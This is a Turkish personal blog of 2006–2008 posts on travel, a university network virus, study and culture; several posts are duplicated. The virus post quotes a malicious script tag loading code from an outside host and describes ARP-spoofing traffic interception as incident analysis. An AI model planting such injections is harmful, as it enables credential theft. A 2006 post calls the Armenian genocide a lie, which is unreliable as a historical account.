Pazartesi, Ağustos 04, 2008
geçtiğimiz mayıs ayı sonunda bölümüzden bazı hocalar ile avrupa birliği erasmus öğretim elemanı değişimi programı çerçevesinde yurt dışına gittik. aradan epey zaman geçti ama anılarımızı kısaca sizlerle de paylaşmak istedim. 3 arkadaş polonya lodz WSInf üniversitesinde, 1 arkadaşımızda macaristan miskolc üniversitesinde eğitim vermek üzere yola çıktık. uygun uçak bileti bulamadığımız için önce almanya berlin'e indik. buradan bir araç kiraladık (audi a3). aracın gps'i çok işimize yaradı. ancak ben kendi gps cihazımı da yanıma almıştım (HP PDA + Bluetooth GPS). almanya dışına çıktığımızda aracın gps'i sadece ana yolları gösteriyordu. bu nokta da benim gps çok iş gördü. yurt dışında mutlaka ve mutlaka bir gps cihazınız olmalı. diğer taraftan araba kiralamak da çok mantıklı bir tercih. eğer çok gezecekseniz otobüs ve tren masrafları araba kirasını kat kat geçiyor. efendim berlin'de temiz ve güzel bir hostel de konakladık. frankfurt üzerinden polonya'ya geçtik. burada poznan şehiri üzerinden lodz'a vardık. polonya ilginç bir ülke. varşova ve krakow haricinde ingilizce konuşan çok az. derdinizi ingilizce anlatmaktansa türkçe anlatmak daha etkili oluyor :) (denedik ve gördük). o yüzden ingilizce bilmeyen insanlarla ingilizce konuşmak için kendinizi zorlamayın, direk türkçe konuşun. zaten onlarda hiç bir mimik vs. olmadan lehçe konuşuyor, karşılıklı gülüşüyorsunuz. lodz'da (bu arada vuç diye okunuyor) üniversite içinde güzel bir misafirhane de kaldık. lodz da gezilecek görülecek pek bir yer yok. manufaktura isimli büyük bir alışveriş merkezi var. yemek konusunda titizseniz en kolayı semt pazarından domatesi salatalık ekmek alıp karın doyurmak. lodz varşova arası km olarak çok kısa ama tek şerit yol çok kalabalık. varşova güzel bir şehir. en azından insanlar ingilizce konuşuyor. merkezde görkemli bir yapı var. asansörle bilmem kaçıncı kata kadar çıkılıyor ama paralı olduğu için çıkmadık. güzel bir nehir geçiyor şehirden kenarında oturulabilir. krakow ise çok daha güzel bir şehir ama çok fazla gezme şansımız olmadı malesef. krakow'a girmeden 60 km yakınlarında osweicim diye bir kasabada auschwitz müzesi var. ikinci dünya savaşı sırasında nazi hitlerin yahudi toplama kampları burada bulunuyor. 3 büyük kamp var. auschwitz I ve II'yi gezme şansımız oldu. kamplar çok ama çok büyük. mutlaka bir tam gününüzü ayırmanız lazım. mümkünse paraya kıyıp bir rehber grubuna katılın. biz öğleden sonra vardığımız için 10 pln'ye ufak harita satın alıp kendimiz gezmek zorunda kaldık. krakow'dan slovakya üzerinden miskolc'a geçtik. macaristan da polonya ya göre biraz daha insan kendini bildik yerlerde hissediyor. o kadar polonya da kaldık mesela bir para birimini bile nasıl telefuz edildiğini öğrenemedik. buradaki üniversite çok büyük ve akademik olarak da çok ileriydi polonyaya göre. dekan bey bizi çok sıcak karşıladı. yurt dışında pek misafirperverlik yapmıyorlar ama kendisi bize ikramda bulundu (kola makinesinden kola ısmarladı). bu şehrin çok gezilecek görülecek özel yerleri yok. virane bir kale var oraya gittik sadece. diğer yandan budapeşte gerçekten çok güzel bir şehir. çok fazla gezilecek yerler var. bir sonraki durağımız ise prag oldu. budapeşte'ye benzeyen bir şehir ama benim daha çok hoşuma gitti açıkcası. son durağımız ise viyana oldu. burası almanyanın kopyası gibi zaten. 10 kişiden 9'u türk. insan kendini evinde gibi hissediyor. günlerdir aç gezmekten gözümüz dönmüş bir şekilde kendimizi kent restauran'da bulduk. trabzonlular tarafından işletilen bu restroranda türk mutfağının eşsiz lezzetleri mevcut. kahvaltı yapmanızı da mutlaka tavsiye ederim. tekrar berlin'e geçerek dönüş uçağına bindik. lufthansa hava yollarını gönülden tebrik ederim, yemekleri thy'ye 5 basar. kiraladığımız araç 9 günde yaklaşım 2800 km yol kat ederek 5 ülkeyi ve başkentleri ile bazı önemli şehirlerini gezme görme fırsatımız oldu. diğer taraftan oradaki üniversitelerde öğrenci ve akademisyenlere sunumlar yaparak hem kendi üniversitemizi ve kültürümüzü hem de çalışma konularımızı aktarma fırsatı bulduk. katkılarından dolayı avrupa birliği'ne teşekkürlerimi sunarım. imkanı olan her kez bu tür programlamlara katılmalı derim..
Cuma, Şubat 22, 2008
virus
merhaba arkadaslar,
son bir kac aydır üniversitemizin tüm network'ünü duman eden bir virüs ile başımız dertte idi. antivirus programları bazı web sitelerine bağlanırken virüs bulundu (ANI.GEN , Trojan Downloader, Alman/NAB vs. gibi) uyarısı veriyor ancak pc'yi tarattığımızda hiç bir virüse rastlanmıyordu. işin ilginç yanı bir çok web sitesine bağlanırken html sayfasının kaynağını görüntüle dediğimizde aşağıdaki script kodunun eklendiğini gördük.
<SCRIPT LANGUAGE="javascript1.2" SRC="http://g.asdafdgfgf.com/ads.js"></SCRIPT>
bir web sitesindeki (bazen bu adres 222360.com da olabiliyor) javascript dosyasını açmaya çalışıyordu virüs. ama işin ilginç olan yanı bilgisayarda virüs olmadığına emin olmamıza rağmen zaman zaman üstteki kodun girilen tüm sayfalarda çıkması idi. bu durumda bir kaç ihtimal kalıyordu. ağdaki trafiğe bir şekilde müdahale eden bir virüs söz konusu olmalıydı. virüs sadece yukardaki kodu girilen tüm sayfalara enjekte etmekle kalmıyor, ağda müthiş bir trafik oluşturuyor, internet bağlantısını yavaşlatıyor hatta çoğu zaman iptal ediyordu. internette forumlarda defalarca bu konuyu aradık, pek çok kişi aynı dertten muzdarip idi ancak bir çözüm yoktu. geçenlerde hindistan menşeili bir servis sağlayıcının benzer bir problemden dolayı müşterilerine sunduğu çözüme ulaştım. virüsün olayı şu idi:
-arp spoofing (arp poisoning) adı verilen teknik ile switch tabanlı bir ağda kendisini gateway/router gibi tanıtıyordu
-böylece siz bir web sitesine bağlanmaya çalışınca gateway olarak virüslü bilgisayara bağlanıyordunuz
-o bilgisayarda ilgili web sitesini size gösterirken kendi kodunuda sayfanın en üstüne enjekte ediyordu
-tabi sizin tüm internet trafiğiniz virüslü o bilgisayar tarafından süzülüyordu bu da tüm şifre ve yazışmalarında süzüldüğü anlamına geliyor
çözüm ise basit: ağda gerçekten virüslü olan makineleri tespit edip virüslerini temizlemek. ancak üniversite gibi 1000lerce bilgisayarın buluduğu ve bir kontrolün olmadığı ortamlarda bunu yapmak pek pratik değil. ama hindu amcalar ufak bir yazılım ile ağda arp spoofing yapan makinelerin iplerini tespit edebilmişler.
3-4 gündür bilgisayarımda bu yazılımı çalıştırarak virüslü bilgisayarları tespit etmeye çalışıyorum. bir bilgisayarı yakaladık ve virüsünü temizledik. şimdilik problemler azaldı ancak tamamen düzelmesi zaman alacak gibi görünüyor. virüsten muzdarip olanlara allah kolaylık versin diyorum.
bu arada bu virüsle ilgilenirken arp spoofing olayını da inceledim. bu yöntemle ağdaki trafiği dinlemeniz (sniffing) mümkün. bağlanılan web sitelerini, ağdaki msn konuşmalarını hatta msn web cam görüntülerini yakalamak için onlarca yazılım olduğunu gördüm. ama bu iş çok sakat. her dakika ağda arp spoofing yapan varmı diye bakamayız ki? mahremiyet diye bişey kalmamış oluyor. bence antivirüs yazılımlarına bu özellik eklenmeli, ağda spoofing yapan makineleri tespit etmeli ve ona göre önlem almalı.
son bir kac aydır üniversitemizin tüm network'ünü duman eden bir virüs ile başımız dertte idi. antivirus programları bazı web sitelerine bağlanırken virüs bulundu (ANI.GEN , Trojan Downloader, Alman/NAB vs. gibi) uyarısı veriyor ancak pc'yi tarattığımızda hiç bir virüse rastlanmıyordu. işin ilginç yanı bir çok web sitesine bağlanırken html sayfasının kaynağını görüntüle dediğimizde aşağıdaki script kodunun eklendiğini gördük.
<SCRIPT LANGUAGE="javascript1.2" SRC="http://g.asdafdgfgf.com/ads.js"></SCRIPT>
bir web sitesindeki (bazen bu adres 222360.com da olabiliyor) javascript dosyasını açmaya çalışıyordu virüs. ama işin ilginç olan yanı bilgisayarda virüs olmadığına emin olmamıza rağmen zaman zaman üstteki kodun girilen tüm sayfalarda çıkması idi. bu durumda bir kaç ihtimal kalıyordu. ağdaki trafiğe bir şekilde müdahale eden bir virüs söz konusu olmalıydı. virüs sadece yukardaki kodu girilen tüm sayfalara enjekte etmekle kalmıyor, ağda müthiş bir trafik oluşturuyor, internet bağlantısını yavaşlatıyor hatta çoğu zaman iptal ediyordu. internette forumlarda defalarca bu konuyu aradık, pek çok kişi aynı dertten muzdarip idi ancak bir çözüm yoktu. geçenlerde hindistan menşeili bir servis sağlayıcının benzer bir problemden dolayı müşterilerine sunduğu çözüme ulaştım. virüsün olayı şu idi:
-arp spoofing (arp poisoning) adı verilen teknik ile switch tabanlı bir ağda kendisini gateway/router gibi tanıtıyordu
-böylece siz bir web sitesine bağlanmaya çalışınca gateway olarak virüslü bilgisayara bağlanıyordunuz
-o bilgisayarda ilgili web sitesini size gösterirken kendi kodunuda sayfanın en üstüne enjekte ediyordu
-tabi sizin tüm internet trafiğiniz virüslü o bilgisayar tarafından süzülüyordu bu da tüm şifre ve yazışmalarında süzüldüğü anlamına geliyor
çözüm ise basit: ağda gerçekten virüslü olan makineleri tespit edip virüslerini temizlemek. ancak üniversite gibi 1000lerce bilgisayarın buluduğu ve bir kontrolün olmadığı ortamlarda bunu yapmak pek pratik değil. ama hindu amcalar ufak bir yazılım ile ağda arp spoofing yapan makinelerin iplerini tespit edebilmişler.
3-4 gündür bilgisayarımda bu yazılımı çalıştırarak virüslü bilgisayarları tespit etmeye çalışıyorum. bir bilgisayarı yakaladık ve virüsünü temizledik. şimdilik problemler azaldı ancak tamamen düzelmesi zaman alacak gibi görünüyor. virüsten muzdarip olanlara allah kolaylık versin diyorum.
bu arada bu virüsle ilgilenirken arp spoofing olayını da inceledim. bu yöntemle ağdaki trafiği dinlemeniz (sniffing) mümkün. bağlanılan web sitelerini, ağdaki msn konuşmalarını hatta msn web cam görüntülerini yakalamak için onlarca yazılım olduğunu gördüm. ama bu iş çok sakat. her dakika ağda arp spoofing yapan varmı diye bakamayız ki? mahremiyet diye bişey kalmamış oluyor. bence antivirüs yazılımlarına bu özellik eklenmeli, ağda spoofing yapan makineleri tespit etmeli ve ona göre önlem almalı.
Salı, Aralık 18, 2007
kurban bayramı
herkesin kurban bayramını kutlar, sevdiklerinizle birlikte mutlu bir bayram geçirmenizi dilerim...
Salı, Kasım 06, 2007
ikinci mezuniyet
an itibariyle artık bir aöf (açık öğretim) mezunuyum. 5 yıllık çile bitti. 2002'de ikinci üniversite olarak kayıt yaptırdığım Anadolu Üniversitesi, İşletme Fakültesi, İşletme bölümünü bitirdim ve diplomamı aldım. peki elime ne geçti? bişey geçmedi. ne doğru düzgün bişeyler öğrenebildim (geçme notu 50, yanlış doğruyu götürmüyor, biraz destekli atabiliyorsanız 5 sene de bitebiliyor, ben bugun bunu gördüm) ne de hayatımda bundan sonra bu diplomanın ne işe yaracağını bilebiliyorum. yine de eğlenceliydi. ama artık sıkmaya başlamıştı. bana baya da pahalıya patladı doğrusu. çünkü sınavlara girmem gerektiği için gözetmen duramıyordum ve zararım katlanıyordu :). en iyisini aramızda hiç bu fantaziye katılmayarak mesut yaptı. ahmet 2 yıl okuduktan sonra önlisans diploması aldı. kadir de zararın neresinden dönsek kardır deyip bıraktı. velhasıl bir aöf macerası da böylelikle bitmiş oldu. ikinci üniversite hevesinde olan arkadaşlara burdan duyurulur: benim tavsiyem, "gereği yok".
Salı, Ekim 09, 2007
Perşembe, Eylül 20, 2007
uydu
bina yönetimi çatıya uydu çanağı koyma kararı aldı. tüm dairelere uydu alıcıların bağlanabileceği konnektörlerden taktılar. ben de bir alıcı alıp bundan sonra uydu izleyim dedim. internetten araştırdım. seoul gt-5000 diye bi uydu alıcısı satın aldım. daha önce hiç uydu alıcısı kullanmadım ama benim gördüğüm kadarıyla bu alıcının avantajları şöyle sıralanabilir:
- fiyatı çok cazip
- uydudan yazılım güncelleme özelliği var
- yerli malı
- 3 yıl garanti
özellikle yazılım güncelleme özelliği çok güzel. aksi takdirde yeni versiyon çıkınca bilgisayara indirip rs232 den uyduya göndermek gerekiyor. bunda ise yeni versiyon çıkınca uydu üzerinden güncelliyor.
Cuma, Temmuz 13, 2007
Çarşamba, Mayıs 23, 2007
web sitesi olanlar ...
İNTERNET ORTAMINDA YAPILAN YAYINLARIN DÜZENLENMESİ VE BU YAYINLAR YOLUYLA İŞLENEN SUÇLARLA MÜCADELE EDİLMESİ HAKKINDA KANUN
Kanun No. 5651
Kabul Tarihi : 4/5/2007
Amaç ve kapsam
MADDE 1- (1) Bu Kanunun amaç ve kapsamı; içerik sağlayıcı, yer sağlayıcı, erişim sağlayıcı ve toplu kullanım sağlayıcıların yükümlülük ve sorumlulukları ile internet ortamında işlenen belirli suçlarla içerik, yer ve erişim sağlayıcıları üzerinden mücadeleye ilişkin esas ve usûlleri düzenlemektir.
Devamı için ...
Kanun No. 5651
Kabul Tarihi : 4/5/2007
Amaç ve kapsam
MADDE 1- (1) Bu Kanunun amaç ve kapsamı; içerik sağlayıcı, yer sağlayıcı, erişim sağlayıcı ve toplu kullanım sağlayıcıların yükümlülük ve sorumlulukları ile internet ortamında işlenen belirli suçlarla içerik, yer ve erişim sağlayıcıları üzerinden mücadeleye ilişkin esas ve usûlleri düzenlemektir.
Devamı için ...
Salı, Nisan 24, 2007
pars: kiraz operasyonu
Bence olmuş arkadaşlar, kendimi holywood'dan bir aksiyon filmi izliyomuş gibi hissettim."Uyuşturucu satıcıları ve kullanıcıları ile onlara engel olmaya çalışanlar arasında geçen; fakat özünde bireysel bir hikâyeyi konu edinen Pars: Kiraz Operasyonu; okullardaki öğrenciler, uyuşturucu baronları ve narkotik polislerinden oluşan bir üçgeni konu alıyor. Uyuşturucunun esrarlı tahtının kurbanlarının üzerinde yükseldiği gerçeğini yaşayarak öğrenen “Pars”, başka kurbanlar verilmemesi için hayatındaki herşeyi feda etmeye hazırdır. "
Yönetmen: Osman Sınav
Senaryo : Osman Sınav, Aybars Bora Kahyaoğlu
Müzik: Srdjan Kurpjel
Görüntü yönetmeni: Torben Forsberg
Oyuncular: Mehmet Kurtuluş , Nida Şafak
Tür: Dram, Polisiye, Aksiyon
Yapım: Türkiye 2006 (Renkli)
Dil:Türkçe
http://www.parskirazoperasyonu.com/
http://www.sinema.com/film/6519/pars-kiraz-operasyonu
Cuma, Şubat 02, 2007
ah sensiz
güneş küsmüş şavkımıyor ah sensiz
zerdali güzeli,gözlerinle bak bana
kader eş oldu yenemiyorum ah sensiz
baldan tatlı sözlerinle gül bana
diken sarmış güllerimi deremiyorum
gülden nazik ellerini uzat bana
hasret yanar gecelerim ah sensiz
davran gülüm esen yel ol gel bana
beste: alaaddin us
yorum: ilkay akkaya
zerdali güzeli,gözlerinle bak bana
kader eş oldu yenemiyorum ah sensiz
baldan tatlı sözlerinle gül bana
diken sarmış güllerimi deremiyorum
gülden nazik ellerini uzat bana
hasret yanar gecelerim ah sensiz
davran gülüm esen yel ol gel bana
beste: alaaddin us
yorum: ilkay akkaya
Cuma, Ocak 26, 2007
google sen büyüksün
teknohaber.net sitesinde bir süredir google adsense reklamları yayınlıyordum. bugun sağolsun google 3 aylık birikmiş hasılatı trink diye EFT yapmış hesabıma. bi kere daha takdir ettim, ne diyim yani mutluyum :)
Pazar, Ocak 14, 2007
sakarlık

bugün kayseripark'ta tuba ile karamelli dondurma (nam-ı diğer: sundae) yiyelim dedik. kalabalıkta zar zor bi masa bulup oturduk. gittim 2 tane dondurma aldım geldim. tam bizim masaya yaklaşmıştım ki, dondurmalardan biri kayarak elimdeki tepsinin kenarına geldi ve devrilip yere kapaklandı. "lan noluyo" filan derken diğeri de aynı şekilde kayarak yere yapıştı :). çok komik bi durumdu. tuba ile epey güldük. gittim tekrar 2 tane daha aldım, tabi onları dökmeden getirdim de yiyebildik sonunda. siz siz olun mc donalds'dan sundae alınca dikkatli taşıyın. meretin ağırlık merkezi biraz yukarda olduğu için devrilmeye pek meyilli .... :)
Cumartesi, Aralık 30, 2006
Salı, Ekim 24, 2006
Çarşamba, Ekim 18, 2006
ermeni olayları
millet olarak konu ile ilgili fazla bilgiye sahip değiliz. çeşitli kaynaklardan okuduğum kadari ile ben bu olaylari soykırım veya katliam olarak değerlendirmiyorum. savaş döneminde alınmış bir tehcir kararıyla birlikte kötü şartlarda ölen ermeni vatandaşları olmuştur şüphesiz. ancak o kararın alınmasını mecbur kılan pek çok ermeni ayaklanması ve akabinde masum türklerin ölmüş olmasıdır. savaş döneminde yaşanan bu olaylar soykırım veya katliam değil olsa olsa iki halkın birbiri ile "boğazlaşması"dır diyor bazı tarihciler. fakat ermeni halkı bu soykırım iddiasına öyle inanmıştır ki, dünya çapında kamuoyu oluşturarak tüm dünya halklarını da inandırmıştır ve 20 kadar ülke parlementolarında sözde ermeni soykırım iddialarını kabul etmiştir. türkiye cumhuriyeti olarak biz bu konuda uluslararası kamuoyunda oldukça sessiz kalmışızdır. geç de olsa devlet arşivlerinin açılması ve ermenistan'a yapılan iddiaların açığa kavuşturulması için yapılan çağrı reddedilmiştir. fransa da geçtiğimiz günlerde bu yalana ortak olmuştur. artık günümüzde bu olay tamamen siyasi ve politik bir hal almıştır ancak yine de fransa'yı, isviçre'yi ve soykırım iddialarını kabul eden tüm ülkeleri şiddetle kınıyorum.
Mesut'tan bir vecibe:
ERMENİ SOYKIRIMI PALAVRADIR - A BIG LIE "ARMENIAN GENOCIDE"
İlgili kaynaklar:
Vikipedi Türkçe - English
Ekşi sözlük
Mesut'tan bir vecibe:
ERMENİ SOYKIRIMI PALAVRADIR - A BIG LIE "ARMENIAN GENOCIDE"
İlgili kaynaklar:
Vikipedi Türkçe - English
Ekşi sözlük
Pazartesi, Ekim 16, 2006
muhendis bakis acisi
"bir ortamda mumkun olabilen, sayisal ispatlanabilir temellere dayanan en mantikli baki$ acisidir. en onemli ozelligi eldeki durumu ve degi$kenleri "tarti$ilmaz ve degi$tirilemez" kabul edip (ecnebi buna "given" der) eldekilerden en uygun cozumu uretmektir.yakinmak, eldeki veriler yetersiz demek, duygusal davranmak bu baki$a en uzak yontemlerdir. bu baki$ tek ve net dogru pe$inde ko$maz. urettigi ciktilar ve sundugu cozumler, hesaplanabilir toleranslar uzerine olmalidir. net ve kesin sonuc sadece mumkunse cikar.velhasil muhendis dedigin, eldekinden ekmek yapandir, un yok diyen degildir. sonucta ekmek ekmege benzemeyebilir ama en azindan karin doyurmalidir." diyor ekşi sözlük.
Perşembe, Eylül 14, 2006
cebit ve ekşisözlük
geçen hafta yine yoğundu. salı günü doktora mülakatı vardı. kazandık çok şükür. çarşamba kaydı yaptırdım enstitüye. gece yola çıktım. perşembe sabah ankara'ya vardım. hacettepe üniversitesi beytepe kampüsüne gitmek için aşti'nin karşısına geçtim. yarım saat bi kaldırımda yarım saatte karşı kaldırımda bekledim bi otobüs minibüs gelmedi. sonra bi kaç kişi yürüyor bende arkalarına takıldım. armada'nın önünden bi otobüse bindik çok şükür. beytepe baya uzakmış. hacettepe üni'ye ilk gidişimdi. URSI isimli radyo bilimleri ile ilgil bi konferansa katıldım. öğleden sonra sunumumu yapıp gazi üniversitesi'nden esra nergis'i ve şeref hoca'yı ziyaret ettim. gece tekrar otobüse binip istanbul'a gittim. sevgili arkadaşım onur karşıladı sabahında beni. cebit fuarında standımız vardı. cuma ve ctesi öğrencilerle birlikte ordaydım. ctesi akşam mesut betül ve ahmet'le üsküdar'da yemek yedik. sonra mesut çok ısrar etti onlarda kaldım. haliyle sabah fuara gidemedim. pazar günü 19:40 onurair kayseri uçağı ile evime geldim. bu sene leyleği havada gördüm heralde. hindistan, antalya'da tatil, ankara ve istanbul derken çok yoruldum. bu arada bugun ekşisözlük'te rifkur başlığının altında şu entry'yi gördüm ve epey güldüm. ilgili user'in teşvikiyle entry sayımı 10'a çıkarttım. bakalım tekrar yazar yapacaklarmı beni :)
Çarşamba, Ağustos 16, 2006
hindistan
hindistan'dan döndük. yarışmada malesef bir derece elde edemedik ama ülkemizi en iyi şekilde temsil ettik. tabi bunun yanında çok büyük tecrübe kazandık. 1 haftalık hindistan macerası çok güzeldi. baharatlı yemeklerine alışamasak ta taj mahal'i gezmek çok güzeldi. fakir insanları, trafik lambaları olmayan ve sürekli korna çalan trafiği ve rikşa'larıyla hindistan çok ama çok ilginç bir diyar....
Cuma, Temmuz 14, 2006
Porvit
Mehmet Seçkiner abimizin görev yaptığı Porvit Porsuk Seramik Ürünleri A.Ş. sitesini yeniliyor.



